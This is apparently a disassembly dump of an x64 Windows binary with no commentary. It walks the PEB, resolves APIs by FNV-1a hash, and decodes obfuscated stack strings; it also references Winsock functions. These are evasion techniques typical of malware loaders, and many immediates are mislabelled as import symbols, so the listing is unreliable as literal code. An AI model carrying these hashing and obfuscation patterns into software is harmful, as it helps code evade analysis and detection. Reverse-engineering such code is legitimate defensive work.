mov esi, r13d
mov r14d, 0xeac42c07
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1402042ed
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1402042e0
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1402042d1
cmp edx, esi
jne 0x1402043c0
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1402043c0
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1402043c0
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140204347
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14020433c
cmp edx, r14d
je 0x14020435d
test r11d, r11d
jne 0x140204327
jmp 0x1402043c0
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x1402043d5
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x1402043d5
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14020439f
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x140204391
jmp 0x1402043b4
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x1402043a7
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1402043d2
cmp qword [rbx + 0x30], r13
jne 0x1402042a1
mov rbx, r13
mov qword [0x1404dbbb0], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
call rbx
call fcn.1401d173c
test al, al
jne 0x1402095ed
mov byte [rbp + 0xf70], 0x9b
mov byte [rbp + 0xf71], 0x59
mov r14d, 0x80
mov byte [rbp + 0xf72], r14b
mov byte [rbp + 0xf73], 0x5b
mov byte [rbp + 0xf74], 0xa0
mov byte [rbp + 0xf75], 0x45
mov byte [rbp + 0xf76], 0xbb
mov byte [rbp + 0xf77], 0x47
mov byte [rbp + 0xf78], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xf79], 0x41
mov byte [rbp + 0xf7a], 0xaf
mov byte [rbp + 0xf7b], 0x43
mov byte [rbp + 0xf7c], 0xde
mov byte [rbp + 0xf7d], Ordinal_79
mov byte [rbp + 0xf7e], 0xdd
mov byte [rbp + 0xf7f], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xf80], 0xac
mov byte [rbp + 0xf81], Ordinal_79
mov byte [rbp + 0xf82], 0x86
mov byte [rbp + 0xf83], Ordinal_79
mov byte [rbp + 0xf84], 0x99
mov byte [rbp + 0xf85], 0x75
mov byte [rbp + 0xf86], 0x98
mov byte [rbp + 0xf87], 0x77
mov byte [rbp + 0xf88], __WSAFDIsSet
mov byte [rbp + 0xf89], WSACleanup
mov byte [rbp + 0xf8a], 0xef
mov byte [rbp + 0xf8b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xf8c], 0xe8
mov byte [rbp + 0xf8d], 0x7d
mov byte [rbp + 0xf8e], 0xe2
mov byte [rbp + 0xf8f], 0x7f
mov byte [rbp + 0xf90], 0x9c
mov byte [rbp + 0xf91], 0x79
mov byte [rbp + 0xf92], 0xbb
mov byte [rbp + 0xf93], 0x7b
mov byte [rbp + 0xf94], 0xf4
mov byte [rbp + 0xf95], 0x65
mov byte [rbp + 0xf96], 0xf6
mov byte [rbp + 0xf97], 0x67
mov byte [rbp + 0xf98], 0xac
mov byte [rbp + 0xf99], 0x61
mov byte [rbp + 0xf9a], 0x83
mov byte [rbp + 0xf9b], 0x63
mov byte [rbp + 0xf9c], 0xf0
mov byte [rbp + 0xf9d], WSASetLastError
mov byte [rbp + 0xf9e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xf9f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xfa0], Ordinal_143
mov byte [rbp + 0xfa1], WSAGetLastError
mov byte [rbp + 0xfa2], 0xa7
mov byte [rbp + 0xfa3], WSASetLastError
mov byte [rbp + 0xfa4], 0x88
mov byte [rbp + 0xfa5], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xfa6], 0xfe
mov byte [rbp + 0xfa7], reloc.WS2_32.dll_socket
mov byte [rbp + 0xfa8], 0xfd
mov byte [rbp + 0xfa9], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xfaa], r14b
mov byte [rbp + 0xfab], reloc.WS2_32.dll_send
mov byte [rbp + 0xfac], 0xfd
mov byte [rbp + 0xfad], Ordinal_32
mov byte [rbp + 0xfae], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xfaf], Ordinal_32
mov byte [rbp + 0xfb0], 0xfa
mov byte [rbp + 0xfb1], Ordinal_27
mov byte [rbp + 0xfb2], 0xf3
mov byte [rbp + 0xfb3], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xfb4], __WSAFDIsSet
mov byte [rbp + 0xfb5], 5
mov byte [rbp + 0xfb6], 6
mov byte [rbp + 0xfb7], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xfb8], xmm0
mov qword [rbp + 0xfc8], rax
mov dil, byte [rsp + 0x50]
call fcn.14024ffe8
mov rbx, qword [rax]
call fcn.14024fff0
mov r9, qword [rax]
mov r15d, Ordinal_41
mov r10, r13
mov r12d, 1
cmp r10, 0x60
jae 0x14020502d
movzx r8d, byte [rbp + r10 + 0xf70]
mov edx, r8d
cmp rbx, r10
ja 0x140205024
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x140204673
movabs r11, 0xe2ff43c1b0c1bb8c
lea rcx, [r10 + r11]
mov eax, edx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x2c
jmp 0x1402046aa
je 0x140204fa2
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140204f53
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140204ef3
lea rax, [r9 + 3]
cmp rbx, rax
je 0x140204ecd
movabs r11, 0xe2ff43c1b0c1bb8c
cmp r9, r10
ja 0x14020501b
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x1402046e0
movabs rdi, 0x9ef08ee37fe4627c
add rdi, r10
mov al, dil
and al, r8b
add al, al
sub dil, al
sub dil, 0x64
add dil, r8b
jmp 0x140204714
lea rax, [r9 + 1]
cmp rbx, rax
je 0x140204e86
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140204e62
lea rax, [r9 + 4]
cmp rbx, rax
je 0x140204e3f
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140204e1c
mov esi, Ordinal_32
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x140204a49
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x140204a26
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x140204a12
lea rax, [r9 + 8]
cmp rbx, rax
je 0x1402049ef
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x1402049cc
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x1402049a9
lea rax, [r9 + 9]
cmp rbx, rax
je 0x140204982
lea rbx, [r9 + 4]
lea r9, [rbx + 0x2a]
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x140204ff8
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x140204fd6
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x14020483e
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x14020496b
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x14020493c
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x140204726
lea rbx, [r9 + 2]
lea r9, [rbx + 0x41]
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x140204928
lea rax, [r9 + 2]
cmp rbx, rax
ja 0x140204917
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x1402048f4
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x1402048cd
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x1402048a6
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x140204883
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x140204860
lea rbx, [r9 + 0x80]
lea r9, [rbx + 0x28]
jmp 0x140204726
movabs rcx, 0x4099ca2af930d504
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
jmp 0x140204719
movabs rcx, 0xf784771bff2313e0
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x20
jmp 0x140204ea4
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x140204ec8
movabs rdx, 0x6b8768153c1c25b0
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140204eeb
movabs rdx, 0x198bd18b1791c068
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140204f43
movabs rcx, 0x538d4a07b60e4950
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x140204de3
movabs rdx, 0x8d8ec284548ad238
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140204991
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140204b2b
movabs rdx, 0x5893e8387f3eb164
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
mov byte [rbp + r10 + 0xf70], dil
jmp 0x140204fce
movabs rdx, 0x69851ae5ab44c1c
add rdx, r10
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x140204a5f
movabs rdx, 0xf3a4d1d19dd6d7d0
mov ecx, Ordinal_41
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140204f6f
movabs rcx, 0x2da64a4e3c5360b8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x140204de3
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x140204f43
movabs rcx, 0x15ac2c40b6458458
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x140204eeb
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140204e71
movabs rcx, 0x89af1d39f33e9628
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x140204ea4
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x140204b16
lea rdx, [r10 + r11]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
lea rax, [r9 + rbx]
cmp rax, 2
je 0x140204dbc
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x140204bfa
movabs rdx, 0x16d325271e29b05c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, r14
jae 0x140204d8e
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x140204c9f
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, ntohl
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r9, 0x42
jb 0x14020495e
movabs rcx, 0x71b4ff2c6d30b9c8
add rcx, r10
mov al, cl
and al, r8b
mov edx, 4
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x140204ea4
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140204b43
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, esi
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140204fbf
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140204b6f
movabs rcx, 0xc9de2ccdc2cfb328
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x140204de3
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140204b9b
movabs rcx, 0x55db3bd485d6a158
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x140204f40
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140204bc7
movabs rcx, 0x1bd9c357e75a1870
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x140204f15
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x140204a6f
movabs rdx, 0x6dd559e20be47db8
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 8
add dil, dl
jmp 0x140204ea4
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140204c26
movabs rcx, 0xdcd1acaa7fad2774
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2c
jmp 0x140204ea4
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140204c43
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140204e71
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140204c70
movabs rcx, 0xbaca523b673e7aec
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x74
jmp 0x140204f43
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x140204aac
movabs rcx, 0x80c8d9bec8c1f204
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
jmp 0x140204de3
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140204cbc
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x140204b2b
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140204ce8
movabs rcx, 0x41c0c31161150108
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x140204f6f
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140204d15
movabs rcx, 0x93bc599b859f6650
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x30
jmp 0x140204f40
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x140204d32
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x140204f02
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x140204d5d
movabs rcx, 0x1fb968a248a65480
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r14b
jmp 0x140204eeb
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140204ae4
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x28
jmp 0x140204ec8
movabs rdx, 0x37b386afceb430e0
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r10 + 0xf70]
sub dil, al
sub dil, 0x20
add dil, dl
add dil, r8b
jmp 0x140204f15
movabs rdx, 0xfdb20e333037a7f8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, esi
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0xf70]
add dil, dl
add dil, r8b
movabs rdx, 0xe0b151f4e0f96384
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0xf70], al
add r9, r12
add rax, r9
sub r10, rax
jmp 0x140204f6f
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x54
jmp 0x140204f43
movabs rcx, 0xb6eaacf105f23edc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
jmp 0x140204f15
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140204ec8
movabs rcx, 0x64ef1666e167d994
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xc
movabs rcx, 0x54b442ee1df27554
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r8b
mov byte [rbp + r10 + 0xf70], cl
add r9, r12
jmp 0x140204eeb
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6c
sub r10, r12
jmp 0x140204fce
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rcx, 0x1ab2ca717f75ec6c
add rcx, r10
mov al, cl
and al, r8b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
add dl, dil
mov byte [rbp + r10 + 0xf70], dl
add rbx, r9
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x140204fce
movabs rcx, 0x6efc52c873c8a9bc
add rcx, r10
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r15b
movabs rcx, 0xc3b095b691bb1f10
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x70
add cl, r8b
mov byte [rbp + r10 + 0xf70], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
jmp 0x140204fbf
movabs rcx, 0xa8fdcb45124532a4
add rcx, r10
mov al, dl
and al, cl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0xf70]
add rax, r9
add r10, rax
add r10, r12
jmp 0x140204628
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r15b
jmp 0x14020461f
movabs rcx, 0x289fac1d7322f8a4
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
jmp 0x140204609
lea rdx, [rbp + 0x16a1180]
jmp 0x140205034
lea rdx, [rbp + 0x6bcd0c]
jmp 0x140205034
lea rdx, [rbp + 0xf70]
lea rcx, [rbp + 0x218]
call fcn.14009e330
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2eb0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140205069
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r12d
mov esi, 0x40
mov r9d, esi
lea r8d, [rsi - 0x3e]
lea rcx, [rbp + 0x2eb0]
call fcn.140174580
nop
lea rcx, [rbp + 0x2eb0]
call fcn.14024e690
nop
lea rcx, [rbp + 0x2eb0]
call fcn.1400a2eb0
nop
mov rcx, rbx
call fcn.1400aa310
mov byte [rbp + 0x9b0], 0x9b
mov byte [rbp + 0x9b1], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x9b2], 0x90
mov byte [rbp + 0x9b3], 0xdb
mov byte [rbp + 0x9b4], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x9b5], Ordinal_217
mov byte [rbp + 0x9b6], 0x7b
mov byte [rbp + 0x9b7], Ordinal_217
mov byte [rbp + 0x9b8], 0x43
mov byte [rbp + 0x9b9], Ordinal_211
mov byte [rbp + 0x9ba], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x9bb], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x9bc], 0x5e
mov byte [rbp + 0x9bd], Ordinal_211
mov byte [rbp + 0x9be], 0x5d
mov byte [rbp + 0x9bf], Ordinal_211
mov byte [rbp + 0x9c0], WSASetLastError
mov byte [rbp + 0x9c1], 0xc9
mov byte [rbp + 0x9c2], 0x7a
mov byte [rbp + 0x9c3], 0xcb
mov byte [rbp + 0x9c4], Ordinal_79
mov byte [rbp + 0x9c5], Ordinal_200
mov byte [rbp + 0x9c6], 0x64
mov byte [rbp + 0x9c7], Ordinal_200
mov byte [rbp + 0x9c8], 0x54
mov byte [rbp + 0x9c9], 0xc1
mov byte [rbp + 0x9ca], 0x5b
mov byte [rbp + 0x9cb], Ordinal_200
mov byte [rbp + 0x9cc], 0x9f
mov byte [rbp + 0x9cd], 0x3d
mov byte [rbp + 0x9ce], 0x9a
mov byte [rbp + 0x9cf], 0x3f
mov byte [rbp + 0x9d0], 0x84
mov byte [rbp + 0x9d1], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x9d2], 0xa8
mov byte [rbp + 0x9d3], Ordinal_60
mov byte [rbp + 0x9d4], 0xad
mov byte [rbp + 0x9d5], gethostname
mov byte [rbp + 0x9d6], 0xb8
mov byte [rbp + 0x9d7], Ordinal_60
mov byte [rbp + 0x9d8], 0xad
mov byte [rbp + 0x9d9], Ordinal_50
mov byte [rbp + 0x9da], 0xa0
mov byte [rbp + 0x9db], gethostname
mov byte [rbp + 0x9dc], 0xbf
mov byte [rbp + 0x9dd], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x9de], 0x78
mov byte [rbp + 0x9df], Ordinal_50
mov byte [rbp + 0x9e0], Ordinal_143
mov byte [rbp + 0x9e1], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x9e2], 0xb3
mov byte [rbp + 0x9e3], Ordinal_45
mov byte [rbp + 0x9e4], 0xb2
mov byte [rbp + 0x9e5], Ordinal_41
mov byte [rbp + 0x9e6], Ordinal_41
mov byte [rbp + 0x9e7], Ordinal_45
xor eax, eax
mov qword [rbp + 0x9e8], rax
mov dword [rbp + 0x9f0], eax
mov word [rbp + 0x9f4], ax
mov byte [rbp + 0x9f6], al
mov dil, byte [rsp + 0x50]
call fcn.14024ffe8
mov rbx, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x47
jae 0x140205d8d
movzx r8d, byte [rbp + r9 + 0x9b0]
mov rdx, r8
cmp rbx, r9
ja 0x140205d84
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1402052b1
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x44
jmp 0x1402052e8
je 0x140205cfe
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140205ccd
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140205caa
lea rax, [r10 + 7]
cmp rbx, rax
je 0x140205c5b
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x140205d7b
lea rax, [r10 + 0x28]
cmp rbx, rax
jae 0x14020531a
movabs rcx, 0xb7c78c691cb91734
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6c
jmp 0x14020535b
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140205c4a
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140205c26
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140205bd9
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140205bb2
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140205b24
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x1402057f5
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1402057e1
lea rax, [r10 + 0x42]
cmp rbx, rax
je 0x1402057bf
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1402057ad
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x14020578a
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x140205776
lea rax, [r10 + 0x28]
cmp rbx, rax
je 0x140205753
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x14020572c
lea rbx, [r10 + 0x5a]
lea r10, [rbx + 0x40]
lea rax, [r10 + 0x20]
cmp rbx, rax
jb 0x140205d58
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x140205d31
lea rax, [r10 + 0x10]
cmp rbx, rax
jb 0x14020550e
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x1402054e7
lea rax, [r10 + 0x2a]
cmp rbx, rax
jb 0x1402054c1
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x1402056c6
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x14020563b
mov rbx, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x140205627
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x140205604
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x1402055f0
lea rax, [r10 + 0x7a]
cmp rbx, rax
ja 0x1402055cd
lea rax, [r10 + 0xa]
cmp rbx, rax
ja 0x1402055ab
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x14020558a
lea rcx, [r10 + 9]
cmp rbx, rcx
ja 0x140205567
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x140205553
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x140205530
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x140205368
mov rbx, rcx
lea r10, [rcx + 6]
jmp 0x140205368
movabs rdx, 0x52bb1b4a0743074c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x14
add dil, dl
jmp 0x14020535b
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1402052e8
movabs rcx, 0x78de3d7f265cb9bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r15b
jmp 0x140205278
movabs rcx, 0xbe3c6348e5c8b9a0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x140205c7d
movabs rdx, 0xd14df463755592d8
mov ecx, ntohl
jmp 0x1402058f9
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x140205cc8
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140205af3
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r14b
jmp 0x140205ceb
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x140205cee
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x140205b33
movabs rcx, 0x43b75b02d2a2aa28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x140205b7a
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
jmp 0x140205834
movabs rdx, 0x2c97f914e82954dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
add dil, dl
cmp rbx, 4
jae 0x140205ad0
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jbe 0x1402059c8
movabs rcx, 0xf22fc2bf02713608
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
